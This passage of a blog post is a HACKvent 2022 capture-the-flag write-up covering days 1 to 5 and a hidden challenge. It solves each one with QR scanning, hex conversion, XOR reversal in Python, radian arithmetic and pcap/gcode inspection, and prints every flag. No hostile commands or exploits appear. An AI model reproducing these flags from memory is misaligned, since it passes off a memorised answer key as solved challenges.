{"id":1950,"date":"2022-12-05T14:25:37","date_gmt":"2022-12-05T13:25:37","guid":{"rendered":"https:\/\/sigterm.ch\/?p=1950"},"modified":"2023-01-01T11:27:18","modified_gmt":"2023-01-01T10:27:18","slug":"hackvent-2022-write-up","status":"publish","type":"post","link":"https:\/\/sigterm.ch\/?p=1950","title":{"rendered":"HACKvent 2022 Write-up"},"content":{"rendered":"\n<p>Welcome to my HACKvent CTF competition write-up! I was fortunate enough to participate in this annual event for the seventh year. Each day in the lead-up to Christmas, a new cybersecurity challenge was released, testing my technical skills, problem-solving abilities, and time management as the challenges got progressively harder. Total points were only awarded to those who could solve the challenges within 24 hours &#8211; the last three challenges in the category &#8220;leet&#8221; within 48 hours.<\/p>\n\n\n\n<p>I am thrilled to share that I solved 24 of the 25 challenges and 23 within the requested time frame this year, earning most of the points available. I completely skipped the challenge on day 24, as after 30 hours, nobody solved it, and I had yet to start with it. It was too much effort to tackle during the busy holiday season.<\/p>\n\n\n\n<p>I want to extend a big thank you to all of the challenge authors, Compass Security, and especially Kuyaya, for his hard work in organizing this event and involving the participants in the decision-making process. I also want to thank my family and friends for their patience and understanding during the competition. I am excited to share my journey through this year&#8217;s competition with you, and I hope you enjoy reading my write-ups and learning from my experience.<\/p>\n\n\n\n<p>When writing this blog post, I was first in the ranking as I was the only one who had solved the surprise challenge of day 25 till then.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-120.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"306\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-120-1024x306.png\" alt=\"\" class=\"wp-image-2159\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-120-1024x306.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-120-300x90.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-120-768x230.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-120-1536x459.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-120-2048x612.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-120-500x149.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><figcaption class=\"wp-element-caption\">Ranking, the 25th of December 20:00<\/figcaption><\/figure>\n\n\n\n<p>Of course, this changed until the end of the competition, as other participants solved all the challenges in time. In the final ranking on the 31st of December 2022, I ended up in place #14.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2023\/01\/image.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"459\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2023\/01\/image-1024x459.png\" alt=\"\" class=\"wp-image-2240\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2023\/01\/image-1024x459.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2023\/01\/image-300x135.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2023\/01\/image-768x344.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2023\/01\/image-1536x689.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2023\/01\/image-2048x918.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2023\/01\/image-500x224.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><figcaption class=\"wp-element-caption\">Ranking, the 31st of December 23:59<\/figcaption><\/figure>\n\n\n\n<!--more-->\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.01] QR means quick reactions, right?<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"840\" height=\"121\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image.png\" alt=\"\" class=\"wp-image-1955\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image.png 840w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-300x43.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-768x111.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-500x72.png 500w\" sizes=\"auto, (max-width: 840px) 100vw, 840px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>Santa&#8217;s brother Father Musk just bought out a new decoration factory. He sacked all the developers and tried making his own QR code generator but something seems off with it. Can you try and see what he&#8217;s done wrong?<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/326b39e0-ccf5-4b94-88ff-e1b654e2c5b9.gif\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/326b39e0-ccf5-4b94-88ff-e1b654e2c5b9.gif\" alt=\"\" class=\"wp-image-1956\" width=\"250\" height=\"250\"\/><\/a><\/figure>\n\n\n\n<p><em>This challenge was provided to you by&nbsp;<strong>Deaths Pirate<\/strong>. Rumors say, he&#8217;s found the One Piece.<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>I solved this challenge manually on my mobile phone. I used an online service that extracted all frames from the GIF and then scanned the QR code from each frame. When I was writing this write-up, I wanted to present a nicer solution and wanted to write a simple bash script. But when writing the script, I came across the tool &#8220;zbarimg&#8221;, which interprets the GIF automatically, and no script is needed anymore\u2026<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$ zbarimg 326b39e0-ccf5-4b94-88ff-e1b654e2c5b9.gif \nQR-Code:H\nQR-Code:V\nQR-Code:2\nQR-Code:2\nQR-Code:{\nQR-Code:I\nQR-Code:_\nQR-Code:C\nQR-Code:a\nQR-Code:N\nQR-Code:_\nQR-Code:H\nQR-Code:a\nQR-Code:Z\nQR-Code:_\nQR-Code:A\nQR-Code:l\nQR-Code:_\nQR-Code:T\nQR-Code:3\nQR-Code:h\nQR-Code:_\nQR-Code:Q\nQR-Code:R\nQR-Code:s\nQR-Code:_\nQR-Code:P\nQR-Code:l\nQR-Code:z\nQR-Code:}\nscanned 30 barcode symbols from 30 images in 0.28 seconds<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{I_CaN_HaZ_Al_T3h_QRs_Plz}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.02] Santa&#8217;s song<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"840\" height=\"121\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-1.png\" alt=\"\" class=\"wp-image-1959\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-1.png 840w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-1-300x43.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-1-768x111.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-1-500x72.png 500w\" sizes=\"auto, (max-width: 840px) 100vw, 840px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>Santa has always wanted to compose a song for his elves to cherish their hard work. Additionally, he set up a vault with a secret access code only he knows!<\/p>\n\n\n\n<p>The elves say that Santa has always liked to hide secret messages in his work and they think that the vaults combination number may be hidden in the magnum opus of his.<\/p>\n\n\n\n<p>What are you waiting for? Go on, help the elves!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>Hint #1:&nbsp;<strong>Keep in mind that you are given a web service, not a play button for a song.<\/strong><\/p>\n\n\n\n<p>Hint #2:&nbsp;<strong>As stated in the description, Santa&#8217;s vault accepts a number, not text.<\/strong><\/p>\n\n\n\n<p>Download file: <a rel=\"noreferrer noopener\" href=\"https:\/\/sigterm.ch\/stuff\/hv22\/song.pdf\" target=\"_blank\">song.pdf<\/a><\/p>\n\n\n\n<p><em>This challenge was written by&nbsp;<strong>kuyaya<\/strong>. TODO:&nbsp;&lt;insert joke about myself here&gt;&nbsp;\ud83d\ude09<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>A website is presented to us that only accepts numeric values. If we enter a wrong value, the website denies us the flag.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-2.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"511\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-2-1024x511.png\" alt=\"\" class=\"wp-image-1960\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-2-1024x511.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-2-300x150.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-2-768x384.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-2-1536x767.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-2-500x250.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-2.png 1978w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>The PDF file, which we can download from the website, shows us some musical notes.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-3.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"276\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-3-1024x276.png\" alt=\"\" class=\"wp-image-1961\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-3-1024x276.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-3-300x81.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-3-768x207.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-3-1536x414.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-3-2048x552.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-3-500x135.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>This challenge is straightforward. If we read the musical notes, we get the result &#8220;bae faced a bad deed&#8221;. This string looks like a hexadecimal number. We get the correct passcode if we convert the hexadecimal number to a decimal number (base 10). We can do this with <a href=\"https:\/\/gchq.github.io\/CyberChef\/#recipe=From_Base(16)To_Base(10)&amp;input=YmFlZmFjZWRhYmFkZGVlZA\" target=\"_blank\" rel=\"noreferrer noopener\">Cyberchef<\/a>.<br>When entering the correct passcode 13470175147275968237, the website reveals the flag:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-4.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"520\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-4-1024x520.png\" alt=\"\" class=\"wp-image-1962\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-4-1024x520.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-4-300x152.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-4-768x390.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-4-1536x780.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-4-500x254.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-4.png 1952w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{13..s0me_numb3rs..37}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.03] gh0st<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"840\" height=\"123\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-5.png\" alt=\"\" class=\"wp-image-1963\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-5.png 840w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-5-300x44.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-5-768x112.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-5-500x73.png 500w\" sizes=\"auto, (max-width: 840px) 100vw, 840px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>The elves found this Python script that Rudolph wrote for Santa, but it&#8217;s behaving very strangely. It shouldn&#8217;t even run at all, and yet it does! It&#8217;s like there&#8217;s some kind of ghost in the script! Can you figure out what&#8217;s going on and recover the flag?<\/p>\n\n\n\n<p>Script: <a href=\"https:\/\/sigterm.ch\/stuff\/hv22\/gh0st.py\" target=\"_blank\" rel=\"noreferrer noopener\">gh0st.py<\/a><\/p>\n\n\n\n<p><em>This challenge was written by&nbsp;<strong>0xdf<\/strong>. Luckily, he&#8217;s not a ghost yet<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>One first hurdle we must overcome is that this script contains null bytes. Many editors won&#8217;t be able to open the script because of the null bytes. If we edit the script directly in the shell with &#8220;vi&#8221; or &#8220;nano&#8221;, the null bytes do not interfere.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#!\/usr\/bin\/env python3.7\n\nimport random\nimport sys\n\n\nif len(sys.argv) != 2:\n    print(f'''usage: {sys.argv[0]} flag''')\n    sys.exit()\n    print('''Things are not what they seem?''')\n\n# only one in a million shall pass\nif random.randrange(1000000):\n   sys.exit()\n\n# this isn't going to work\nprint(''')#%^$&amp;*(#$%@^&amp;*(#@!''')\nprint('''Nice job getting lucky there! But did you get the flag?''')\n\n# Santa only wants every third line!\nsong =  \"\"\"You know Dasher, and Dancer, and\"\"\"\n#song += \"\"\"#Prancer, and Vixen,\"\"\"\n#song += \"\"\"#Comet, and Cupid, and\"\"\"\nsong += \"\"\"Donder and Blitzen\"\"\"\n#song += \"\"\"#But do you recall\"\"\"\n#song += \"\"\"#The most famous reindeer of all\"\"\"\nsong += \"\"\"Rudolph, the red-nosed reindeer\"\"\"\n#song += \"\"\"#had a very shiny nose\"\"\"\n#song += \"\"\"#and if you ever saw it\"\"\"\nsong += \"\"\"you would even say it glows.\"\"\"\n#song += \"\"\"#All of the other reindeer\"\"\"\n#song += \"\"\"#used to laugh and call him names\"\"\"\nsong += \"\"\"They never let poor Rudolph\"\"\"\n#song += \"\"\"#play in any reindeer games.\"\"\"\n#song += \"\"\"#Then one foggy Christmas eve\"\"\"\nsong += \"\"\"Santa came to say:\"\"\"\n#song += \"\"\"    #Rudolph with your nose so bright,\"\"\"\n#song += \"\"\"    #won't you guide my sleigh tonight?\"\"\"\nsong += \"\"\"Then all the reindeer loved him\"\"\"\n#song += \"\"\"#as they shouted out with glee,\"\"\"\n#song += \"\"\"#Rudolph the red-nosed reindeer,\"\"\"\nsong += \"\"\"you'll go down in history!\"\"\"\n\nflag = list(map(ord, sys.argv[1]))\ncorrect = [17, 55, 18, 92, 91, 10, 38, 8, 76, 127, 17, 12, 17, 2, 20, 49, 3, 4, 16, 8, 3, 58, 67, 60, 10, 66, 31, 95, 1, 93]\n\nfor i,c in enumerate(flag):\n    flag[i] ^= ord(song[i*10 % len(song)])\n\nif all([c == f for c,f in zip(correct, flag)]):\n    print('''Congrats!''')\nelse:\n    print('''Try again!''')<\/pre>\n\n\n\n<p>We can see that the script is xoring our submitted flag with the characters in the song. Our flag is looped through all chars. The character is xored with the value in the song at the position of the index multiplied by 10. After the xor operation, the result is compared with the values in the array &#8220;correct&#8221;. As we have all information and xor is reversible, we can add the following lines to the script to print out the correct flag:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">getflag = \"\"\nfor i,c in enumerate(flag):\n    flag[i] ^= ord(song[i*10 % len(song)])\n    getflag += chr(correct[i]^ord(song[i*10 % len(song)]))\nprint(\"[+] Flag:\")\nprint(getflag)\nprint(\"------------------------\")<\/pre>\n\n\n\n<p>The array &#8220;correct&#8221; is of length 30. This means we need to submit a pseudo flag with the same length to our modified script:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$ python3 gh0st.py `python3 -c \"print('A'*30)\"`\nNice job getting lucky there! But did you get the flag?\n[+] Flag:\nHV22{nUll_bytes_st0mp_cPy7h0n}\n------------------------\n<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{nUll_bytes_st0mp_cPy7h0n}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.04] Santas radians<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"840\" height=\"123\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-6.png\" alt=\"\" class=\"wp-image-1964\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-6.png 840w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-6-300x44.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-6-768x112.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-6-500x73.png 500w\" sizes=\"auto, (max-width: 840px) 100vw, 840px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>Santa, who is a passionate mathematician, has created a small website to train his animation coding skills. Although Santa lives in the north pole, where the&nbsp;<strong>degrees<\/strong>&nbsp;are very low, the website&#8217;s animation luckily did not freeze. It just seems to move very slooowww. But how does this help&#8230;? The elves think there might be a flag in the application&#8230;<\/p>\n\n\n\n<p><em>This challenge was written by&nbsp;<strong>dr_nick<\/strong>. Sick animations!<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>This website is presented to us in the challenge.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-7.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"243\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-7-1024x243.png\" alt=\"\" class=\"wp-image-1966\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-7-1024x243.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-7-300x71.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-7-768x182.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-7-1536x364.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-7-2048x486.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-7-500x119.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>The HTML code of the website looks like this:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"js\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">...\n&lt;script>\n    const canvas = document.getElementById(\"canvasPiCode\");\n    const context = canvas.getContext(\"2d\");\n    let clientX = 0;\n\n    canvas.addEventListener('mousemove', e => {\n        clientX = e.clientX*7\/1000;\n    });\n\n    let rot = [2.5132741228718345, 0.4886921905584123, -1.2566370614359172, 0, 2.548180707911721, -1.9547687622336491, -0.5235987755982988, 1.9547687622336491, -0.3141592653589793, 0.6283185307179586, -0.3141592653589793, -1.8151424220741028, 1.361356816555577, 0.8377580409572781, -2.443460952792061, 2.3387411976724013, -0.41887902047863906, -0.3141592653589793, -0.5235987755982988, -0.24434609527920614, 1.8151424220741028];\n    let size = canvas.width \/ (rot.length+2);\n\n    context.strokeStyle = \"black\";\n    context.lineWidth = size*5\/16;\n    context.shadowOffsetX = size\/4;\n    context.shadowOffsetY = size\/4;\n    context.shadowColor = \"gray\";\n    context.shadowBlur = size\/4;\n\n    let animCount = 0;\n\n    function anim() {\n        context.clearRect(0,0,canvas.width,canvas.height);\n        for (let i = 0; i &lt; rot.length; i++) {\n            context.beginPath();\n            context.arc((i + 1) * size, canvas.height \/ 2, size * 2 \/ 7, rot[i]+animCount+clientX, rot[i] + 5 +animCount+clientX);\n            context.stroke();\n        }\n        animCount+=0.001;\n        requestAnimationFrame(anim);\n    }\n    anim();\n\n&lt;\/script>\n\n...<\/pre>\n\n\n\n<p>According to the challenge description, there must be something with radians and degrees. Therefore, I converted the values of the array &#8220;rot&#8221; in the Javascript code from radians to degrees:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">[144, 28, -72, 0, 146, -112, -30, 112, -18, 36, -18, -104, 78, 48, -140, 134, -24, -18, -30, -14, 104]<\/pre>\n\n\n\n<p>To solve the challenge, we needed to guess the next steps. After looking at the array for a long time, I saw the pattern. The flag always starts with &#8220;HV22{&#8220;; in decimal, this is &#8220;72 86 50 50 123&#8221;. If we divide all the degrees by two and add the last number to it, we get the decimal representation of the flag. This we can solve with a very simple python script:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">degrees = [144, 28, -72, 0, 146, -112, -30, 112, -18, 36, -18, -104, 78, 48, -140, 134, -24, -18, -30, -14, 104]\ndivided = [x \/ 2 for x in degrees]\n\nflag = \"\"\nn = 0\nfor c in divided:\n\tc += n\n\tn = c\n\tflag += chr(int(c))\n\nprint(flag)<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">$ python3 sol.py \nHV22{C4lcul8_w1th_PI}<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{C4lcul8_w1th_PI}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.05] Missing gift<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"832\" height=\"114\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-8.png\" alt=\"\" class=\"wp-image-1973\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-8.png 832w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-8-300x41.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-8-768x105.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-8-500x69.png 500w\" sizes=\"auto, (max-width: 832px) 100vw, 832px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>Like every year the elves were busy all year long making the best toys in Santas workshop. This year they tried some new fabrication technology. They had fun using their new machine, but it turns out that the last gift is missing.<\/p>\n\n\n\n<p>Unfortunately, Alabaster who was in charge of making this gift is not around, because he had to go and fulfill his scout elf duty as an elf on the shelf.<\/p>\n\n\n\n<p>But due to some very lucky circumstances the IT-guy elf was capturing the network traffic during this exact same time.<\/p>\n\n\n\n<p><em>This challenge was written by&nbsp;<strong>wangibangi<\/strong>. Truly smart as a fox.<\/em><\/p>\n\n\n\n<p><strong>Goal:<\/strong><\/p>\n\n\n\n<p>Can you help Santa and the elves to fabricate this toy and find the secret message?<\/p>\n\n\n\n<p>Download PCAP file: <a href=\"https:\/\/sigterm.ch\/stuff\/hv22\/tcpdump.pcap\">tcpdump.pcap<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>The fast track to the solution looks like this (obviously, I lost some time browsing through the pcap file in Wireshark and looking for clues): Open Wireshark, File, Export Objects, HTTP, Save all. This exports multiple files of the HTTP traffic to our computer. When analyzing the files, we identify one file containing gcode data. Due to the export of Wireshark, it is called &#8220;local&#8221;, but by analyzing the traffic, we discover that the original file name is &#8220;hv22.gcode&#8221;. With the web service <a href=\"https:\/\/gcode.ws\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/gcode.ws\/<\/a>, we can load the file and display its content, which reveals the flag.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-9.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"694\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-9-1024x694.png\" alt=\"\" class=\"wp-image-1974\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-9-1024x694.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-9-300x203.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-9-768x521.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-9-1536x1041.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-9-443x300.png 443w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-9.png 2039w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{this-is-a-w4ste-of-pl4stic}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.H1] Santa&#8217;s Secret<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"827\" height=\"124\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-10.png\" alt=\"\" class=\"wp-image-1975\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-10.png 827w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-10-300x45.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-10-768x115.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-10-500x75.png 500w\" sizes=\"auto, (max-width: 827px) 100vw, 827px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p><em>S4nt4444&#8230;..s0m3wh3r3 1n th3 34sy ch4ll4ng3sss&#8230;..th3r3s 4n 34sy fl4g h1ddd3333nnnn&#8230;..sssshhhhh<\/em><\/p>\n\n\n\n<p>There is no 24h bonus on the hidden challenges!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>The hidden flag was placed inside the challenge of day 5. As there is a huge pcap file with a lot of data, I lost a lot of time trying to find the flag inside the network traffic. After some time, I focused on the big gcode file, which also provided the flag for day 5. Somewhere in the middle of the file hv22.gcode, there are five lines with comments:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">;G1 X34.st3r E36 ;)\n;G1 X72.86 Y50.50 E123.104\n;G1 X49.100 Y100.51 E110.45\n;G1 X102.108 Y52.103 E33,125<\/pre>\n\n\n\n<p>I extracted all the numeric values and converted them from decimal to ASCII characters with <a href=\"https:\/\/gchq.github.io\/CyberChef\/#recipe=From_Decimal('Space',false)&amp;input=NzIgODYgNTAgNTAgMTIzIDEwNCA0OSAxMDAgMTAwIDUxIDExMCA0NSAxMDIgMTA4IDUyIDEwMyAzMyAxMjU\" target=\"_blank\" rel=\"noreferrer noopener\">CyberChef<\/a>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{h1dd3n-fl4g!}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 